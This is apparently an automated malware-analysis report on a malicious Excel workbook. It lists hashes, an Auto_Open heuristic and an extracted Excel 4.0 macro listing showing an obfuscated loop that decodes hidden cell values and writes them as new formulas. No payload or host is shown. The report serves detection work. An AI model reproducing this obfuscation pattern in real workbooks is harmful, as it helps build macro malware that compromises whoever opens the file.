Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e6a9dbebcabfa485…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:39:07 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 061a2d69c5cd937efb0eecf6f25a74ae SHA-1: b3ee14a710a38f16540c5657624818f076930308 SHA-256: e6a9dbebcabfa4852b71201564659369982eb112de28deeef4bb5e4829cc52a6
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6324 bytes
SHA-256: 4c7263ffea1532c6f665e9ae46f340153b2dcec19e549fa2fdaf99f70cfb1287
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Thk
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H144 
' 0018     25 LABEL : Cell Value, String Constant - bFhnvvCodA len=0 
' 0018     21 LABEL : Cell Value, String Constant - BOqLBD len=0 
' 0018     24 LABEL : Cell Value, String Constant - BxRRiqIsr len=0 
' 0018     20 LABEL : Cell Value, String Constant - CmPbz len=0 
' 0018     24 LABEL : Cell Value, String Constant - dFoheCHPW len=0 
' 0018     23 LABEL : Cell Value, String Constant - gofSPfsy len=0 
' 0018     23 LABEL : Cell Value, String Constant - gswAiiQE len=0 
' 0018     20 LABEL : Cell Value, String Constant - hNcNc len=0 
' 0018     23 LABEL : Cell Value, String Constant - hwKPoxip len=0 
' 0018     23 LABEL : Cell Value, String Constant - KutPZCBL len=0 
' 0018     24 LABEL : Cell Value, String Constant - lluNSEhTp len=0 
' 0018     25 LABEL : Cell Value, String Constant - mHXcXRvBOc len=0 
' 0018     24 LABEL : Cell Value, String Constant - qGNcjhsTD len=0 
' 0018     22 LABEL : Cell Value, String Constant - RRYZwwg len=0 
' 0018     27 LABEL : Cell Value, String Constant - RwteajHFKoVA len=0 
' 0018     27 LABEL : Cell Value, String Constant - VKgepvffbejg len=0 
' 0018     22 LABEL : Cell Value, String Constant - wpKowZx len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZHHbluVlo len=0 
' 0018     20 LABEL : Cell Value, String Constant - zmjEp len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZVYQc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Thk,H55,"SET.NAME("zmjEp",VALUE("0"))",""
'  Thk,H60,"SET.NAME("hwKPoxip",zmjEp)",""
'  Thk,H65,"SET.NAME("RRYZwwg",zmjEp)",""
'  Thk,H70,"SET.NAME("mHXcXRvBOc",COUNTA(ZHHbluVlo))",""
'  Thk,H73,"SET.NAME("KutPZCBL",COUNTA(hNcNc))",""
'  Thk,H76,[],""
'  Thk,H79,"SET.NAME("BxRRiqIsr","")",""
'  Thk,H81,"hwKPoxip",""
'  Thk,H84,"SET.NAME("bFhnvvCodA",HLOOKUP("*",ZHHbluVlo,hwKPoxip,FALSE))",""
'  Thk,H88,"RwteajHFKoVA",""
'  Thk,H93,"SET.NAME("gswAiiQE",zmjEp)",""
'  Thk,H98,[],""
'  Thk,H101,"gswAiiQE",""
'  Thk,H106,"dFoheCHPW",""
'  Thk,H109,"gofSPfsy",""
'  Thk,H113,"qGNcjhsTD",""
'  Thk,H115,"SET.NAME("lluNSEhTp",VALUE(HLOOKUP("*",hNcNc,qGNcjhsTD,FALSE)))",""
'  Thk,H117,"VKgepvffbejg",""
'  Thk,H119,"BxRRiqIsr",""
'  Thk,H121,"RRYZwwg",""
'  Thk,H124,NEXT(),""
'  Thk,H128,"ZVYQc",""
'  Thk,H131,"SET.NAME("f",INT(T(FORMULA(T(BxRRiqIsr)&"",""&T(ZVYQc)))))",""
'  Thk,H135,"BOqLBD",""
'  Thk,H138,NEXT(),""
'  Thk,H141,RETURN(),""
'  Thk,H168,"SET.NAME("CmPbz",H55)",""
'  Thk,H173,"ZHHbluVlo",""
'  Thk,H177,"SET.NAME("hNcNc",R74C13)",""
'  Thk,H182,"SET.NAME("BOqLBD",193)",""
'  Thk,H187,"SET.NAME("wpKowZx",8)",""
'  Thk,H192,CmPbz(),""
'  Thk,H193,HALT(),""